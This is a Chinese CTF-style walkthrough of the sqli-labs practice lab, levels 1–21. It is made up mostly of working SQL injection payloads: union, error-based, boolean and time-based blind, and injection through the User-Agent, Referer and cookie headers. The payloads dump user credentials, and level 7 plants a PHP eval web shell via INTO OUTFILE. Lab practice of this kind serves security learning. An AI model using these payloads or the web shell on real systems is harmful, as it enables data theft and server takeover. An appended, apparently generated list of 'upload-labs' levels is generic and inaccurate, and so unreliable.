sql-labs靶场(1-21)通关方式

题前介绍

本文章将进行sql-labs靶场前21关通过演示供大家阅读查询,事先安装方法与环境将不在演示。

第一关

在状态栏中输入

?id=1

查看注入点

在id=1 后加入 ' 后显示

由此处可以发现是字符型注入,且闭合方式为 ' (%27代表此处为一个 ')

此时,在最后加入--+,将后面内容注释

这是我们的注入点就清晰了起来

使用 

?id=1' order by 3 --+

进行2分查询

在多次尝试后,发现显示行数为3行,且第一行无法修改,2,3行可用于显示查询结果

于是我们使用union进行联合查询

?id=1' union select 1,2,3 --+

将2,改为database()

查询到数据库名为   security

修改代码

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查询表中,属于数据库security的表名

通过获得的表名再次将代码进行修改

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

此命令查看了表名为columns的表中,table_schema列中库名为security 并且 table_name列中表名为users的信息,得到

再次对代码进行修改

?id=-1' union select 1,2,group_concat(concat_ws(';',username,password)) from security.users--+

我们获得了以;进行分割,表中的所有username和password

第二关

第二关较于第一关,区别不大,仅区别于闭合方式的变化

通过?id=1查看注入点

使用 ' 判断闭合方式

通过多次判断,发现第二关属于数值型,则不使用符号进行闭合

重复第一关中操作,

最后修改后查询得到的结果

第三关

与前两关同一类型

使用标识符判断闭合方式

闭合方式为双引号,重复上述操作

第四关

判断闭合方式

得到闭合方式为双引号加小括号

第五关

第五关开始题目变为另一类型,将不再有内容回显,但是可以通过界面错误信息进行判断

通过闭合方式测试发现,闭合方式为单引号

因为有错误信息提醒,我们优先进行长度判断

?id=1' and length((select database()))=8--+

进行尝试后发现,数据库的长度为8

继续进行字符判断

?id=1' and left((select database()),1)='s'--+

通过多次判断得到数据库名为 security

通过数据库名,继续进行查找

因为前边第一关,查询过表名,所以我在此处直接对比

若不知道内容,正常使用时,可使用left进行

通过此种方法可根据正确与否,判断输入内容的对错

第六关

与第五关类似

此处判断闭合方式

根据报错信息判断为双引号闭合

查询方式同第五关

第七关

判断闭合方式

闭合方式为'))

此关因没有回显信息,和报错信息,所以以上方式均无法使用

因我们所使用的为靶场,此时我们找到本机上靶场数据库文件所在位置,在phpstudy文件下

在数据库配置文件中的 配置项含有:secure_file_priv=‘’。(注意在数据库中此项默认为secure_file_priv=null)无法写入

首先使用命令行连接mysql数据库
如果没有添加环境变量可以到我们phpstudy的mysql文件位置

Untitled

然后进入到bin目录下

Untitled

shift+右键打开命令行,输入密码连接数据库

BASH

1
mysql -u root -p

Untitled

查看secure_file_priv配置,如果为null则无法进行文件导出操作,默认为null

BASH

1
show variables like '%secure%';

Untitled

打开mysql下的my.ini

Untitled

secure_file_priv="/" 添加到配置文件

Untitled

此时重启mysql服务,然后再次查询,发现已经成功了,此时我们已经对C:\目录下的所有文件具有写入权限了

BASH

1
show variables like '%secure%';

Untitled

此时我们拥有了写入权限,且知道文件所在位置,开始进行木马植入

?id=1')) union select 1,2,'<?php @eval($_POST["config"]);?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\tes.php"--+

此时在文件内的less-7目录下

使用蚁剑连接木马

连接成功

Untitled

也可以利用此办法将数据写入这种可访问的文件

将数据写入可访问的文件

payload:将数据写入result.txt

BASH

1
?id=-1')) union select 1,2,group_concat(username,0x7e,password)from users into outfile "C:\\phpStudy\\WWW\\result.txt"--+

访问result.txt

Untitled

第八关

首先进行闭合判断

闭合方式为单引号

此关与第五关,第六关属同一类型

第九关(时间盲注)

第九关开始出现改变

当我们使用?id=1进行注入点查询的时候,发现无论怎么修改都无法获得错误提示,且页面都没有发生改变,所以此处我们使用时间盲注

?id=1' and sleep(10)--+

当我们输入后运行,发现页面经过10秒后才正常显示,由此可以判断闭合方式为单引号,

继续判断数据库名

?id=1' and if(ascii(substring((select database()),1,1))>10,sleep(10),0)--+

判断语句中,第一个1为开始判断位置,第二个1为判断字符个数

或使用

?id=1' and if(left((select database()),1)='s',sleep(10),1)--+

通过时间盲注进行判断

通过判断得到第一个字符为s ,依次判断最后得到数据库名为 security

依次方法,结合前几关查询得到需要获取的内容

第十关

判断闭合方式

闭合方式为双引号

其他判断内容同前几关

第十一关

界面

判断注入点

像是这种post类型的,可以现在每一个输入框内进行尝试,先在username中使用单引号进行尝试

payload

1' or 1=1 #

结果:登陆成功,说明闭合方式为单引号,并且有回显,我们就可以尝试联合查询注入

判断字段数

payload

1' order by 3 #

结果:不是三列

payload

1' order by 2 #

结果:字段数为2列

判断回显位

payload

-1' union select 1,2 #

结果:

爆破数据库名

payload

-1' union select 1,database() #

结果:得到数据库名称security

爆破表名

payload

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

结果:表名emails,referers,uagents,users

爆破字段名

payload

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

结果:users表的字段名id,username,password

爆破数据

payload

-1' union select 1,group_concat(username,0x7e,password) from users #

结果:得到数据

第十二关

因为内容有回显,所有我们使用\判断注入点和闭合方式

通过报错信息,得到闭合方式为双引号+括号

判断字段数

1") ORDER BY 2#

得到字段数为2行

判断回显位置

1") union select 1,2#

得到回显位置信息

查看数据库名称

") union select database(),2#

得到数据库名

查看表名

") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

得到表名

获取表中列名

") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#

此时我们得到了需要的username和password

查看username和password

") union select 1,group_concat(concat_ws(';',username,password)) from security.users#

此时所有的信息我们都得到了

第十三关

判断注入点

\

得到闭合方式为单引号加括号

因为有报错回显,所以本次我们使用报错注入

1') and updatexml(1,concat(0x7e,database()),1)#

得到数据库名称为 security

其余查询方式均与前几关相同

第十四关

使用\判断闭合方式

得到闭合方式为双引号闭合

其他查询方式参考前几关

第十五关

本关无回显

但是可以通过下方查看是否登录成功

失败

成功

所以本关使用 闭合符号+ or  1=1#进行判断

最后得到闭合方式为单引号

使用判断方式,与时间盲注来判断数据库名

' or if(left((database()),1)='s',sleep(10),1)#

通过判断得到数据库名为security

其他参数查询参考前几关命令

第十六关

类似十五关

使用符号+ or 1=1#判断注入方式

得到闭合方式为双引号加小括号

同上进行数据库爆破获取需要参数

第十七关

通过上方黄色信息发现(密码重置),疑似密码注入可能,但不排除用户名可注入,所以优先使用用户名进行尝试,发现没有注入点,在用户名输入时不会报错

此时,在密码处进行注入尝试

发现可以正常访问,所以第十七关是在密码处进行注入

进行版本号查看

' or updatexml(1,concat("!",version()),2)#

查看数据库信息

' or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema='security')),2)#

查看表字段信息

第十八关

本关使用burp进行注入

在用户名和密码多次尝试后发现没有sql注入漏洞,所有,进入burp进行修改

首先我们进行正常登录

admin

admin

查看界面是否有回显,且回显显示位置

回显中有  Your User Agent is字段

使用burp拦截并在放到重放器中

根据上方显示的信息,我们尝试对 User-Agent 修改 

User-Agent:'

产生报错,此处有注入点,验证闭合方式为单引号

User-Agent: ' or updatexml(1,concat(0x7e,(select database())),1),1) #

得到数据库名称

继续查询字段名

'or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema = 'security')),2) or'

其他查看前几关

第十九关

本关同第十八关类似,但显示位置改变

使用

admin

admin

进行正常登录

发现显示内容 Your Referer is:

根据内容,我们到burp中进行抓包,并使用重放器查看

这是我们发现了其中的referer请求头

尝试修改后面信息

referer:'

产生报错信息,此处有注入点,尝试验证闭合方式后发现闭合方式为')

尝试爆破数据库名称

Referer: ') or updatexml(1,concat(0x7e,database()),1)#

发现报错,似乎不是查询语句。尝试使用插入语句进行尝试

' or updatexml(1,concat(0x7e,database()),1))#

得到数据库信息,所以此处为插入语句

其他信息查询同上

第二十关

类似十八与十九关

我们在尝试usename和password后找不到注入点

使用账号密码登录

admin

admin

使用burp进行抓包,在重放器查看

 抓包登录之后的信息

尝试修改username处信息,查看是否有注入点

Cookie: uname=' ;

修改后报错信息处得到需要信息,闭合方式为单引号

进行爆破数据库名

cookie:uname=' and updatexml(1,concat(0x7e,database()),1)#

得到数据库名称,其他内容同上

第二十一关

使用正确用户名密码登录

admin

admin

burp抓包,重放器查看

获得信息,cookie中的用户名使用了加密,因为最后%3D是url编码,为=,所以存疑可能为BASE64加密(BASE64加密结尾自带=),尝试使用Burp自带解密进行查看

尝试输入一个单引号,进行base64加密

查看是否有注入点

Cookie: uname=Jw==;

根据报错信息可知,闭合方式为单引号加小括号

将查询数据库名语句进行base64加密

Cookie: uname=JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpLDEpIw== ;

得到需要数据库名 Security

你好!要通关 upload-labs 靶场的第 1-21 关,你需要依次完成每个关卡的任务。以下是通关每个关卡的一些提示: 1. Level 1 - 文件上传漏洞:尝试上传一个恶意文件,看看能否绕过上传限制。 2. Level 2 - 文件包含漏洞:尝试利用文件包含漏洞,读取服务器上的敏感文件。 3. Level 3 - XXE漏洞:在上传的 XML 文件中尝试触发外部实体注入。 4. Level 4 - SQL注入漏洞:利用输入点进行 SQL 注入攻击,尝试获取数据库中的敏感信息。 5. Level 5 - SSRF漏洞:尝试利用服务器端请求伪造漏洞,发起内部网络请求。 6. Level 6 - 文件上传漏洞2:绕过上传限制,上传一个恶意文件。 7. Level 7 - 文件包含漏洞2:利用文件包含漏洞,读取服务器上的敏感文件。 8. Level 8 - 反序列化漏洞:尝试触发反序列化漏洞,执行恶意代码。 9. Level 9 - 文件上传漏洞3:绕过上传限制,上传一个恶意文件。 10. Level 10 - 文件包含漏洞3:利用文件包含漏洞,读取服务器上的敏感文件。 11. Level 11 - XXE漏洞2:在上传的 XML 文件中触发外部实体注入。 12. Level 12 - SSRF漏洞2:尝试利用服务器端请求伪造漏洞,发起内部网络请求。 13. Level 13 - 文件上传漏洞4:绕过上传限制,上传一个恶意文件。 14. Level 14 - 文件包含漏洞4:利用文件包含漏洞,读取服务器上的敏感文件。 15. Level 15 - SQL注入漏洞2:利用输入点进行 SQL 注入攻击,尝试获取数据库中的敏感信息。 16. Level 16 - 文件上传漏洞5:绕过上传限制,上传一个恶意文件。 17. Level 17 - 文件包含漏洞5:利用文件包含漏洞,读取服务器上的敏感文件。 18. Level 18 - 反序列化漏洞2:尝试触发反序列化漏洞,执行恶意代码。 19. Level 19 - 文件上传漏洞6:绕过上传限制,上传一个恶意文件。 20. Level 20 - 文件包含漏洞6:利用文件包含漏洞,读取服务器上的敏感文件。 21. Level 21 - XXE漏洞3:在上传的 XML 文件中触发外部实体注入。 请注意,在完成每个关卡时,要仔细阅读相关提示和代码,理解漏洞的原理,并尝试不同的方法来解决问题。祝你顺利通关
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值